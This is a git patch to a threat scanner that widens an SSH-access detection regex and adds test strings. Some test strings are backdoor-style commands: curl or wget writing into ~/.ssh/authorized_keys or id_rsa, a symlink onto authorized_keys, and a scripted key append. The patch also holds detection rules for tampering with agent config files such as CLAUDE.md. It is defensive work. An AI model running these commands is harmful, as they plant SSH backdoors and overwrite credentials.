From de16ce9d0cb8f8e8a00609021cfadb5c6a8926dc Mon Sep 17 00:00:00 2001 From: teknium1 <127238744+teknium1@users.noreply.github.com> Date: Mon, 14 Sep 2026 15:52:55 -0700 Subject: [PATCH] fix(threat-scanner): gate ssh_access on every mutating verb, not just copy verbs Review of the write-verb gate found sed -i, chmod, truncate, curl -o, wget -O, git clone and a scripted open(...) against ~/.ssh all slipping to no finding, where the bare path regex on main caught them. Add those verbs and the open( shape to the gate; read-only mentions stay clear. --- tests/tools/test_threat_patterns.py | 7 +++++++ tools/threat_patterns.py | 7 +++++-- 2 files changed, 12 insertions(+), 2 deletions(-) diff --git a/tests/tools/test_threat_patterns.py b/tests/tools/test_threat_patterns.py index cc570ea7ee..b96578a238 100644 --- a/tests/tools/test_threat_patterns.py +++ b/tests/tools/test_threat_patterns.py @@ -323,6 +323,13 @@ class TestSshAccessWriteGate: "ln -sf /tmp/evil $HOME/.ssh/authorized_keys", "> ~/.ssh/authorized_keys_backup", "some-command\n> ~/.ssh/config", + "sed -i 's/^#Port/Port/' ~/.ssh/config", + "chmod 600 ~/.ssh/id_rsa", + "truncate -s0 ~/.ssh/known_hosts", + "curl -o ~/.ssh/authorized_keys http://x", + "wget -O $HOME/.ssh/id_rsa http://x", + "git clone http://x ~/.ssh", + "open(os.path.expanduser('~/.ssh/authorized_keys'), 'a').write(k)", ]) def test_write_shapes_still_flag(self, text): assert "ssh_access" in scan_for_threats(text, scope="strict") diff --git a/tools/threat_patterns.py b/tools/threat_patterns.py index c369057c2e..ceac265300 100644 --- a/tools/threat_patterns.py +++ b/tools/threat_patterns.py @@ -81,8 +81,11 @@ _PATTERNS: List[Tuple[str, str, str]] = [ # ── Persistence / SSH backdoor (strict scope — memory + skills) ── (r'authorized_keys', "ssh_backdoor", "strict"), # Write-verb gated like the *_config_mod rules: a bare path match blocked ordinary docs - # ("check $HOME/.ssh is chmod 700"). ``>>?`` covers a leading redirect with no verb word. - (r'(?:\b(?:echo|cat|cp|mv|dd|tee|install|printf|rsync|scp|ln|append|add|write)\b|>>?)' + # ("check $HOME/.ssh is chmod 700"). ``>>?`` covers a leading redirect with no verb word; + # ``open(`` covers the scripted-write shape; chmod/chown/sed/truncate/rm/touch/curl/wget/git + # mutate the directory without an obvious copy verb. + (r'(?:\b(?:echo|cat|cp|mv|dd|tee|install|printf|rsync|scp|ln|append|add|write' + r'|sed|chmod|chown|truncate|rm|touch|curl|wget|git)\b|\bopen\s*\(|>>?)' r'[^\n]{0,512}(?:\$HOME/\.ssh|~/\.ssh)', "ssh_access", "strict"), (r'\$HOME/\.hermes/\.env|\~/\.hermes/\.env', "hermes_env", "strict"), (rf'{_MODIFY}(?:AGENTS\.md|CLAUDE\.md|\.cursorrules|\.clinerules)', "agent_config_mod", "strict"),